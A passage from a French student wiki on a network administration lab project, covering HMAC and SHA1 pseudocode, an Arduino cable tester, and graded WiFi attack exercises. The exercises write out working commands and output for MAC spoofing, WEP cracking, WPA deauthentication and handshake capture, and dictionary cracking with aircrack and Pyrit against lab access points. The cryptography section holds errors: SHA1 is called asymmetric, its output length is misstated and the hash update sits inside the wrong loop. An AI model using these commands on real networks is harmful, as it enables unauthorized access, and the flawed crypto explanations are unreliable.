Maintenant, intéressons nous à la PRF, ici la fonction HMAC-SHA1. Elle est composée de deux fonctions: HMAC et SHA1. Nous traiterons le SHA1 par la suite. La fonction HMAC de son vrai nom keyed-Hash Message Authentication Code) permet de vérifier l'authenticité et l'intégrité d'un message. Elle est maintenue par le [https://tools.ietf.org/html/rfc2104 RFC 2104] de l'IETF Elle se repose elle aussi sur une autre fonction pour assurer son fonctionnement (comme le PBKDF2). Cependant, la fonction cryptographique utilisé n'influe pas sur sa capacité à vérifier l'authenticité et l'intégrité d'un message. Les paramètres de la fonction HMAC sont les suivants:&lt;br /&gt;
*[KEY] la clé utilisée pour encoder le message&lt;br /&gt;
*[MSG] le message à encoder&lt;br /&gt;
*[H] la fonction qui va être utilisé pour encoder le message (ici, nous utiliserons SHA1)&lt;br /&gt;
*[HLEN] le longueur du résultat fourni par H (dans notre cas HLEN vaut 64 octets)&lt;br /&gt;
Le principe de fonctionnement est le suivant:&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function HMAC(KEY, MSG, H, HLEN)&lt;br /&gt;
    if(length(KEY) &amp;gt; HLEN)&lt;br /&gt;
        KEY = H(KEY) // Si la clé est trop grande, elle est réduite par H&lt;br /&gt;
    if(length(KEY) &amp;lt; HLEN)&lt;br /&gt;
        KEY = KEY || (0x00 * (HLEN - LENGTH(KEY)))&lt;br /&gt;
&lt;br /&gt;
    opad_key = (opad * HLEN) ^ KEY;&lt;br /&gt;
    ipad_key = (ipad * HLEN) ^ KEY;&lt;br /&gt;
&lt;br /&gt;
    return H(opad_key || H(ipad_key || MSG)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Dans cette fonction:&lt;br /&gt;
*L'opérateur || désigne la concaténation directe tel que &amp;quot;J'aime le&amp;quot;||&amp;quot; poulet&amp;quot; est égale à &amp;quot;J'aime le poulet&amp;quot;&lt;br /&gt;
*L'opérateur * désigne la répétition de l'élément tel que &amp;quot;J&amp;quot;*4 est égale à &amp;quot;JJJJ&amp;quot;&lt;br /&gt;
*L'opérateur ^ désigne l'opérateur XOR logique&lt;br /&gt;
*La variable opad est une constance valant 0x5C&lt;br /&gt;
*La variable ipad est une constance valant 0x36&lt;br /&gt;
Finalement, intéressons nous à la fonction SHA1. Celle-ci a été développé par la National Security Agency (NSA). C'est une fonction (ou algorithme) dit asymétrique: c'est à dire que l'argument qui lui est passé ne peut pas être retrouvé à l'aide du résultat. La fonction ne prend donc qu'un seul paramètre.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
function SHA1(PASS)&lt;br /&gt;
    h0 = 0x67452301&lt;br /&gt;
    h1 = 0xEFCDAB89&lt;br /&gt;
    h2 = 0x98BADCFE&lt;br /&gt;
    h3 = 0x10325476&lt;br /&gt;
    h4 = 0xC3D2E1F0&lt;br /&gt;
    ml = message length in bits (always a multiple of the number of bits in a character).&lt;br /&gt;
&lt;br /&gt;
    append the bit '1' to the message e.g. by adding 0x80 if message length is a multiple of 8 bits.&lt;br /&gt;
    append 0 ≤ k &amp;lt; 512 bits '0', such that the resulting message length in bits is congruent to −64 ≡ 448 (mod 512)&lt;br /&gt;
    append ml, in a 64-bit big-endian integer. Thus, the total length is a multiple of 512 bits.&lt;br /&gt;
&lt;br /&gt;
    break message into 512-bit chunks&lt;br /&gt;
    for each chunk&lt;br /&gt;
        break chunk into sixteen 32-bit big-endian words w[i], 0 ≤ i ≤ 15&lt;br /&gt;
&lt;br /&gt;
        //Extend the sixteen 32-bit words into eighty 32-bit words:&lt;br /&gt;
        for i from 16 to 79&lt;br /&gt;
            w[i] = (w[i-3] xor w[i-8] xor w[i-14] xor w[i-16]) leftrotate 1&lt;br /&gt;
&lt;br /&gt;
        //Initialize hash value for this chunk:&lt;br /&gt;
        a = h0&lt;br /&gt;
        b = h1&lt;br /&gt;
        c = h2&lt;br /&gt;
        d = h3&lt;br /&gt;
        e = h4&lt;br /&gt;
&lt;br /&gt;
        //Main loop&lt;br /&gt;
        for i from 0 to 79&lt;br /&gt;
            if 0 ≤ i ≤ 19 then&lt;br /&gt;
                f = (b and c) or ((not b) and d)&lt;br /&gt;
                k = 0x5A827999&lt;br /&gt;
            else if 20 ≤ i ≤ 39&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0x6ED9EBA1&lt;br /&gt;
            else if 40 ≤ i ≤ 59&lt;br /&gt;
                f = (b and c) or (b and d) or (c and d) &lt;br /&gt;
                k = 0x8F1BBCDC&lt;br /&gt;
            else if 60 ≤ i ≤ 79&lt;br /&gt;
                f = b xor c xor d&lt;br /&gt;
                k = 0xCA62C1D6&lt;br /&gt;
&lt;br /&gt;
            temp = (a leftrotate 5) + f + e + k + w[i]&lt;br /&gt;
            e = d&lt;br /&gt;
            d = c&lt;br /&gt;
            c = b leftrotate 30&lt;br /&gt;
            b = a&lt;br /&gt;
            a = temp&lt;br /&gt;
&lt;br /&gt;
            //Add this chunk's hash to result so far:&lt;br /&gt;
            h0 = h0 + a&lt;br /&gt;
            h1 = h1 + b &lt;br /&gt;
            h2 = h2 + c&lt;br /&gt;
            h3 = h3 + d&lt;br /&gt;
            h4 = h4 + e&lt;br /&gt;
&lt;br /&gt;
            //Produce the final hash value (big-endian) as a 160 bit number:&lt;br /&gt;
            hh = (h0 leftshift 128) or (h1 leftshift 96) or (h2 leftshift 64) or (h3 leftshift 32) or h4&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
== La partie bonus ==&lt;br /&gt;
&lt;br /&gt;
Nous souhaitions faire une petite partie bonus en plus du câblage. Nous avons donc décidé de réaliser un CiscoChecker permettant de tester toutes les connexion de notre réseau et de nous indiquer si un câble est défectueux ou débranché.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous utilisons un arduino auquel nous avons ajouté un écran LCD ainsi qu'un lecteur de carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation de l'écran LCD ===&lt;br /&gt;
&lt;br /&gt;
Afin d'afficher les résultats de notre test de connexion nous utilisons un shield LCD de chez Sparkfun. Ce dernier nous permettant uniquement de changer la couleur de l’écran complet ou de modifier pixel par pixel. Nous avons donc eu à créer notre propre police d'écriture et à coder tous les caractères pixel par pixel.&lt;br /&gt;
&lt;br /&gt;
Pour cela nous avons choisi de créer des tableaux de caractères pour stocker les pixels correspondants à chaque lettre puis un tableau regroupant toutes nos lettres. Ces données étant trop volumineuses pour être stockées au sein de la mémoire flash de l'arduino, nous les stockons dans la RAM.&lt;br /&gt;
&lt;br /&gt;
Chaque lettre est donc un tableau de caractère dans lequel nous stockons les pixel à changer pour faire notre lettre. Ces lettres sont codées suivant une matrice de 16x8 pixels que nous représentons sous la forme suivante : YX.&lt;br /&gt;
&lt;br /&gt;
Ou Y est la position suivant y du pixel codée en hexa et X est la position suivant x, l'origine étant choisie en haut à gauche de la matrice.&lt;br /&gt;
&lt;br /&gt;
Voici à quoi ressemble une de nos lettres :&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
const char	letter_A[] PROGMEM = {&lt;br /&gt;
	0x13,0x22,0x24,0x31,0x35,0x41,0x45,0x50,0x56,0x60,&lt;br /&gt;
	0x66,0x70,0x71,0x72,0x73,0x74,0x75,0x76,0x80,0x81,&lt;br /&gt;
	0x82,0x83,0x84,0x85,0x86,0x90,0x96,0xA0,0xA6,0xB0,&lt;br /&gt;
	0xB6,0xC0,0xC6,0xD0,0xD6,0xE0,0xE6,0x00};&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons ensuite une fonction getIndex qui va, pour chaque lettre lue, renvoyer l'index de ce caractère dans notre tableau de lettres afin de pouvoir l'afficher.&lt;br /&gt;
&lt;br /&gt;
Une fois toutes les lettres réalisées il suffit juste de stocker en variables globales la position actuelle en X et en Y et de l'incrémenter à chaque fois que l'on écrit une lettre sans oublier de prendre en compte le retour à la ligne.&lt;br /&gt;
&lt;br /&gt;
Pour le retour à la ligne nous souhaitions avoir un défilement classique de notre texte qui se décale à chaque nouvelle ligne, mais cette méthode demandant de stocker le texte affiché à l'écran est trop gourmande en mémoire. Donc nous nous contentons d'effacer l'écran lorsque l'on arrive au bout.&lt;br /&gt;
&lt;br /&gt;
=== Utilisation du lecteur de carte SD ===&lt;br /&gt;
&lt;br /&gt;
Nous avons besoin d'utiliser une carte SD afin de stocker la configuration de notre réseau, c'est à dire comment sont connectés les câbles au sein de notre réseau. Pour cela on utilise un shield SD de chez Sparkfun.&lt;br /&gt;
&lt;br /&gt;
Après s’être documenté, nous avons choisi de réaliser cette partie à l'aide de l'IDE arduino. Nous voulons utiliser l'IDE arduino car bien que les cartes SD utilisent une communication en SPI ce qui est assez simple à réaliser en C. Lorsque l'on souhaite envoyer des commandes à notre carte SD il faut respecter les spécifications SD qui sont assez complexes. N'ayant trouvé aucune librairie sur le net nous avons choisi de ne pas le faire en C par manque de temps.&lt;br /&gt;
&lt;br /&gt;
Nous utilisons donc un simple programme arduino afin de lire des fichiers présents sur la carte SD.&lt;br /&gt;
&lt;br /&gt;
=== Communication avec le matériel Cisco ===&lt;br /&gt;
&lt;br /&gt;
Afin de pouvoir tester le réseau notre CiscoChecker doit être connecté via port série à un élément Cisco du réseau. Or nous avons rencontré des problèmes lors de cette communication car ces deux appareils travaillent avec des tensions différentes. Pour régler ce problème nous avons réalisé carte électronique permettant la conversion de cette tension à l'aide d'une puce MAX232N.&lt;/div&gt;</summary>
		<author><name>Froyer1</name></author>	</entry>

	<entry>
		<id>https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23060</id>
		<title>PRA 2015 - Câblage d'un réseau redondant</title>
		<link rel="alternate" type="text/html" href="https://wiki-ima.plil.fr/mediawiki//index.php?title=PRA_2015_-_C%C3%A2blage_d%27un_r%C3%A9seau_redondant&amp;diff=23060"/>
				<updated>2015-11-19T14:18:12Z</updated>
		
		<summary type="html">&lt;p&gt;Froyer1 : /* La partie bonus */&lt;/p&gt;
&lt;hr /&gt;
&lt;div&gt;__TOC__&lt;br /&gt;
== Introduction ==&lt;br /&gt;
Le Projet de Réseau et Administration (PRA) se découpe en deux parties. La première consiste à réaliser le câblage de l'infrastructure et la deuxième à traiter la partie commune du PRA.&lt;br /&gt;
== Câblage du résau ==&lt;br /&gt;
=== Le réseau idéal ===&lt;br /&gt;
Le but de ce projet est de câbler un réseau redondant permettant la mise en place d'une infrastructure réseau haute disponibilité. L'architecture du réseau est donnée sur le diagramme suivant.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Idéal.png]]&lt;br /&gt;
&lt;br /&gt;
Quatre liaison fibre assure la robustesse du système (ainsi que son débit). Les fibres 1 et 4 sont reliés depuis un commutateur PolytechLille (considéré comme sortie Internet). Ces fibres permettent d'assurer un débit de 10 Gygabytes. Les fibres 2 et 3 assurent la redondance du système et permettent aux switch de récupérer un débit de 1 Gygabyte auprès des routeurs. Les routeurs et switch d'une même salle (E304 ou E306) sont cablés à l'aide de câbles cuivrés sur des interfaces Gygabytes. Enfin, le serveur Xen est relié au deux switchs à l'aide de câbles cuivrés 1 Gygabyte. Cette architecture permet d'assurer qu'en cas d'un câble défectueux, le réseau continue de fonctionner correctement.&lt;br /&gt;
&lt;br /&gt;
=== L'avancement du cablage du réseau ===&lt;br /&gt;
&lt;br /&gt;
L'image suivante détaille l'état du réseau avant le 07/10/2015.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:PRA15 - Réseau Temporaire.png]]&lt;br /&gt;
&lt;br /&gt;
Au début du PRA, nous ne disposions pas de l'intégralité du matériel. Par conséquent nous avons mis en place un réseau dégradé permettant aux autres groupes de travailler sur leur projet. Nous avons donc utilisé un des cartes 1 Gigabyte pour relier la routeur de la salle E306 à notre arrivée Internet, rendant l'utilisation de la fibre D du fait du faible nombre de GBIC 1 Gigabyte. De plus, comme il nous manquait un raccord de fibre pour la fibre B, nous avons utilisé un câble cuivré pour lier le routeur de la E306 au switch de la E304. La liaison au Xen était donc assuré par un seul lien cuivré entre celui-ci et le switch de la E306.&lt;br /&gt;
&lt;br /&gt;
== La partie commune ==&lt;br /&gt;
=== Les tests de sécurisation de réseaux WiFi ===&lt;br /&gt;
==== Accès par filtrage MAC ====&lt;br /&gt;
Nous avons commencé par effectué une connexion sur un point d'accès WiFi fonctionnant par filtrage MAC en ayant notre adresse MAC autorisée sur la borne. Nous avons donc configuré notre interface pour se connecter au WiFi, utiliser une IPv4 libre sur le réseau, installer le routage pour pouvoir pinger la passerelle et enfin accéder à Internet.&lt;br /&gt;
&lt;br /&gt;
La deuxième partie consiste à s'authentifier sur un réseau sécurisé par filtrage MAC, mais cette fois-ci sans avoir son adresse autorisé sur le point d'accès. Pour cela nous allons faire du sniffage du réseau WiFi en question. Nous commençons par passer la carte WiFi en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng start wlan0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous avons surveillé le réseau WiFi, nommé &amp;quot;baguette&amp;quot;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH 13 ][ Elapsed: 0 s ][ 2015-10-22 13:26&lt;br /&gt;
BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -63        9        0    0   4  54e. OPN              baguette&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
On spécifie alors le canal et le BSSID à utiliser pour plus de précision.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
airodump-ng --essid baguette wlan0mon&lt;br /&gt;
&lt;br /&gt;
CH  4 ][ Elapsed: 18 s ][ 2015-10-22 13:29                                           &lt;br /&gt;
BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
C4:14:3C:40:78:60  -52 100      146        1    0   4  54e. OPN              baguette                                                                                                               &lt;br /&gt;
&lt;br /&gt;
BSSID              STATION            PWR   Rate    Lost    Frames  Probe                 &lt;br /&gt;
C4:14:3C:40:78:60  00:15:AF:E7:19:F3  -59    0 - 5e     0        1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Dès qu'un client se connecte, il est possible de lui voler son adresse MAC (ici, 00:15:AF:E7:19:F3) et de se connecter sur le point d'accès avec la commande suivante.&lt;br /&gt;
&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
ifconfig wlan1 hw ether C4:14:3C:40:78:60&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
==== Accès par filtrage WEP ====&lt;br /&gt;
Par la suite, nous avons tenté de nous authentifier sur un point d'accès filtré par une clé WEP 128 bits. Nous avons donc commencé par passer l'interface WLAN en mode monitoring.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airmon-ng &lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
&lt;br /&gt;
#airmon-ng start wlan3&lt;br /&gt;
PHY	Interface	Driver		Chipset&lt;br /&gt;
&lt;br /&gt;
phy1	wlan3		rt2500usb	D-Link Corp. AirPlus G DWL-G122(rev.B1) [Ralink RT2571]&lt;br /&gt;
		(mac80211 monitor mode vif enabled for [phy1]wlan3 on [phy1]wlan3mon)&lt;br /&gt;
		(mac80211 station mode vif disabled for [phy1]wlan3)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
L'interface wlan3mon est maintenant disponible pour l'attaque. Nous passons maintenant au scan.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng wlan3mon&lt;br /&gt;
CH  9 ][ Elapsed: 0 s ][ 2015-11-12 11:58                                         &lt;br /&gt;
                                                                                                                                                                                                     &lt;br /&gt;
 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
                                                                                                                &lt;br /&gt;
 00:23:5E:1E:05:48  -57        2        0    0   7  54e. OPN              cracotte09                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:41  -56        3        0    0   7  54e. WEP  WEP         cracotte02                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:45  -57        3       22    0   7  54e. WEP  WEP         cracotte06                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:44  -56        2       19    0   7  54e. WEP  WEP         cracotte05                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:47  -55        3       42    0   7  54e. WEP  WEP         cracotte08                                                                                                                 &lt;br /&gt;
 00:23:5E:1E:05:46  -55        1       67    0   7  54e. WEP  WEP         cracotte07                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:42  -56        2       67    0   7  54e. WEP  WEP         cracotte03                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:40  -57        2       98    0   7  54e. WEP  WEP         cracotte01                                                                                                                  &lt;br /&gt;
 00:23:5E:1E:05:43  -58        4       99    0   7  54e. WEP  WEP         cracotte04                                                                                                           &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 BSSID              STATION            PWR   Rate    Lost    Frames  Probe                                                                                                                            &lt;br /&gt;
                                                                                                                                                                                                      &lt;br /&gt;
 04:DA:D2:CF:01:90  48:5A:3F:4C:37:61   -1    1e- 0      0        2                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:45  00:0F:B5:92:23:74  -64   54e-48e     2       21                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:44  00:0F:B5:92:23:6B  -65   48e- 2e    89        9                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:47  00:0F:B5:92:23:71  -67   54e-54e    39       37                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:46  00:0F:B5:92:23:69  -63   48e-54e     6       63                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:42  00:0F:B5:92:23:6A  -60   48e-54e     9       59                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:40  00:0F:B5:92:22:68  -55   36e-48e     9       94                                                                                                                                   &lt;br /&gt;
 00:23:5E:1E:05:43  00:0F:B5:92:23:75  -58   48e- 2e   145       93&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Notre cible étant le réseau &amp;quot;cracotte07&amp;quot;, nous spécifions donc le canal et l'ESSID&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#airodump-ng --essid cracotte07 --channel 7 -w dmp wlan3mon&lt;br /&gt;
CH  7 ][ Elapsed: 3 mins ][ 2015-11-12 12:03                                         &lt;br /&gt;
&lt;br /&gt;
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID&lt;br /&gt;
&lt;br /&gt;
 00:23:5E:1E:05:46  -64  17     1603    46339  201   7  54e. WEP  WEP         cracotte07&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le monitoring du réseau est donc lancé. Pendant ce temps, nous lançons le décryptage avec aircrack.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 110082 packets.&lt;br /&gt;
&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:23:5E:1E:05:46  cracotte07                WEP (6190 IVs)&lt;br /&gt;
&lt;br /&gt;
Choosing first network as target.&lt;br /&gt;
&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Attack will be restarted every 5000 captured ivs.&lt;br /&gt;
Starting PTW attack with 6258 ivs.&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, nous générons plus de flux à l'aide de aireplay.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#aireplay-ng -5 -e cracotte07 wlan3mon&lt;br /&gt;
No source MAC (-h) specified. Using the device MAC (00:11:95:E5:0D:F0)&lt;br /&gt;
12:02:11  Waiting for beacon frame (ESSID: cracotte07) on channel 7&lt;br /&gt;
Found BSSID &amp;quot;00:23:5E:1E:05:46&amp;quot; to given ESSID &amp;quot;cracotte07&amp;quot;.&lt;br /&gt;
12:02:11  Waiting for a data packet...&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
        Size: 70, FromDS: 0, ToDS: 1 (WEP)&lt;br /&gt;
&lt;br /&gt;
              BSSID  =  00:23:5E:1E:05:46&lt;br /&gt;
          Dest. MAC  =  FF:FF:FF:FF:FF:FF&lt;br /&gt;
         Source MAC  =  00:0F:B5:92:23:69&lt;br /&gt;
&lt;br /&gt;
        0x0000:  8841 2c00 0023 5e1e 0546 000f b592 2369  .A,..#^..F....#i&lt;br /&gt;
        0x0010:  ffff ffff ffff c014 0000 f898 0e00 8065  ...............e&lt;br /&gt;
        0x0020:  7e87 af6b e679 211e c9d6 1665 0b4f 7e2d  ~..k.y!....e.O~-&lt;br /&gt;
        0x0030:  6cf8 2da9 f0f8 3f96 d831 539a 2f9e ef35  l.-...?..1S./..5&lt;br /&gt;
        0x0040:  b7bd 03c5 5093                           ....P.&lt;br /&gt;
&lt;br /&gt;
Use this packet ? y&lt;br /&gt;
&lt;br /&gt;
Saving chosen packet in replay_src-1112-120211.cap&lt;br /&gt;
12:02:13  Data packet found!&lt;br /&gt;
12:02:13  Sending fragmented packet&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et enfin, aircrack trouve la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
                                                                                            Aircrack-ng 1.2 rc2&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
                                                                            [00:02:12] Tested 853 keys (got 40800 IVs)&lt;br /&gt;
&lt;br /&gt;
   KB    depth   byte(vote)&lt;br /&gt;
    0    0/  9   55(53248) FD(49664) 1F(47872) 7E(47616) 11(47360) D9(47360) F5(46848) 58(46592) 1E(46336) EE(46336) B0(46080) 20(45824) 93(45824) CD(45824) 0A(45568) 81(45568) &lt;br /&gt;
    1    0/  1   52(61952) 07(50176) 1E(49152) E4(49152) 11(48640) 38(48640) 5F(48640) 33(48128) A7(47360) AB(47360) 46(47104) E1(47104) ED(47104) 20(46848) 23(46592) 4D(46592) &lt;br /&gt;
    2    0/  1   55(60160) 27(47872) 3A(47616) 3D(47616) 45(47616) C4(47616) 05(47360) 70(47104) 99(47104) 4D(46336) E1(46336) 23(46080) 69(46080) 83(46080) 31(45824) 6A(45824) &lt;br /&gt;
    3   13/  3   79(46848) 2C(46592) 5E(46592) 1E(46080) 34(46080) 03(45824) 12(45824) 08(45568) AD(45568) B9(45568) 64(45312) 9B(45312) CE(45312) FB(45312) 74(44800) C0(44800) &lt;br /&gt;
    4    1/  4   CB(48896) 12(47872) 22(47872) E0(47872) FE(47872) 98(47360) ED(47360) 60(46848) 78(46848) 96(46848) 9A(46848) 6C(46592) 21(46080) 38(46080) A1(46080) 16(45824) &lt;br /&gt;
&lt;br /&gt;
     KEY FOUND! [ 55:55:55:55:55:55:55:55:55:51:11:11:11 ] &lt;br /&gt;
	Decrypted correctly: 100%&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
==== Accès par filtrage WPA ====&lt;br /&gt;
L'accès à un réseau protégé par une clé WPA est plus complexe car aircrack n'est pas capable de trouver la clé par ses propres moyens. Il est nécessaire de lui fournir un dictionnaire contenant la clé de réseau pour espérer pouvoir s'y connecter. Nous avons donc commencé par générer un dictionnaire comprenant certaines clés (dans notre cas, tout les nombres à 8 chiffres). Le script Perl générant le dictionnaire est le suivant.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#!/usr/bin/perl&lt;br /&gt;
my $ite = 0;&lt;br /&gt;
my $max = 1000000;&lt;br /&gt;
my $outp;&lt;br /&gt;
my $tmp;&lt;br /&gt;
for (my $j=0; $j &amp;lt; 100; $j++)&lt;br /&gt;
{&lt;br /&gt;
    $tmp = sprintf(&amp;quot;[%02d]\n&amp;quot;, $j);                                                                                                                                                               &lt;br /&gt;
    print STDERR $tmp;&lt;br /&gt;
    for (my $i=0; $i &amp;lt; ($max); $i++)&lt;br /&gt;
    {&lt;br /&gt;
        $outp = sprintf(&amp;quot;%08d\n&amp;quot;, $ite);&lt;br /&gt;
        $ite++;&lt;br /&gt;
        print $outp;&lt;br /&gt;
    }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Nous lançons donc la génération avec la commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# ./gen.pl &amp;gt; dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Le dictionnaire est ainsi généré. Cependant, la taille du dictionnaire est légèrement importante.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
859M -rw-r--r-- 1 root root 859M nov.  13 09:41 dic.txt&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ensuite, après avoir passé l'interface en mode monitoring (de la même façon que pour les attaques précédentes), nous lançons notre surveillance du réseau &amp;quot;Almost Secure WiFi&amp;quot;.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# airodump-ng --channel 6 --essid &amp;quot;Almost Secure WiFI&amp;quot; -w dmp wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Puis, nous désauthentifions les clients déjà connectés pour récupérer le &amp;quot;handshake&amp;quot; qui permettra le décryptage de la clé.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aireplay-ng -0 5 -e &amp;quot;Almost Secure WiFI&amp;quot; wlan1&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Une fois la désauthentification envoyée, nous récupérons le &amp;quot;handshake&amp;quot; durant la reconnection des clients.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng *.cap&lt;br /&gt;
Opening dmp-01.cap&lt;br /&gt;
Read 2370 packets.&lt;br /&gt;
   #  BSSID              ESSID                     Encryption&lt;br /&gt;
&lt;br /&gt;
   1  00:13:46:79:6A:1C  Almost Secure WiFI        WPA (1 handshake)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
=====Attaque par dictionnaire=====&lt;br /&gt;
A partir du moment où nous disposons du &amp;quot;handshake&amp;quot;, deux options s'offrent à nous. La première consiste à réaliser une attaque par dictionnaire (celui que nous avons généré). Commençons donc par cette attaque.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# aircrack-ng -w dico.txt *.cap&lt;br /&gt;
                                 Aircrack-ng 1.2 beta3&lt;br /&gt;
                   [00:58:30] 12121212 keys tested (3659.24 k/s)&lt;br /&gt;
                           KEY FOUND! [ 12121212 ]&lt;br /&gt;
      Master Key     : 8E 68 0C AB 07 0F F7 AD 0D 6A 04 A0 DB F5 A0 62&lt;br /&gt;
                       F8 39 26 F0 B4 C2 42 23 9E 11 5A 6B E2 39 A3 45&lt;br /&gt;
      Transient Key  : CE 6D 03 71 74 1D 39 B3 35 8A 24 D5 7D 39 76 DF&lt;br /&gt;
                       68 5B D5 CC 79 C5 6F 64 A3 A9 84 D2 36 19 7A F8&lt;br /&gt;
                       45 70 AF 3E 41 15 86 E3 2F 8C 5E 2E 5C F8 98 28&lt;br /&gt;
                       A6 FC DE 27 68 50 07 55 77 6F 83 9D B3 44 32 7E&lt;br /&gt;
      EAPOL HMAC     : 8D 45 38 2F 02 E5 F9 0B 4B 92 EB E9 6B FF B6 EE&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cete attaque, bien que parfaitement fonctionnelle, ne permet pas d'obtenir la clé rapidement. La vitesse de test des clés est fixe et ne dépend que de la performance du processeur. Dans notre cas (Intel i5-2400 @ 3.1 GHz) notre vitesse de test est de 3600 clés par seconde.&lt;br /&gt;
=====Attaque par Rainbow Tables=====&lt;br /&gt;
Pour réaliser l'attaque par par rainbow table, nous utiliserons le logiciel PyRit. C'est un logiciel codé en Python qui permet l'attaque de PMK (qui donne le mot de passe du réseau WiFi) plus efficacement que Aircrack. En attaque par dictionnaire classique, sur matériel équivalent (c'est à dire Intel i5-2400 @ 3.1 GHz), PyRit est légérement plus performant que Aircrack en passant d'une moyenne de 3600 PMK/s à 5200 PMK/s. L'intérêt d'utiliser une &amp;quot;rainbow table&amp;quot; est de générer une table valable pour un seul SSID (voir la partie suivante) qui permettra de comparer les PMK plus rapidement. Pour cela, nous allons commencer par ajouter le nom de notre réseau WiFi (aussi appelé ESSID) à PyRit.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
# pyrit -e 'Almost Secure WiFI' create_essid&lt;br /&gt;
Pyrit 0.4.0 (C) 2008-2011 Lukas Lueg http://pyrit.googlecode.com&lt;br /&gt;
This code is distributed under the GNU General Public License v3+&lt;br /&gt;
&lt;br /&gt;
Connecting to storage at 'file://'...  connected.&lt;br /&gt;
Created ESSID 'Almost Secure WiFI'&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
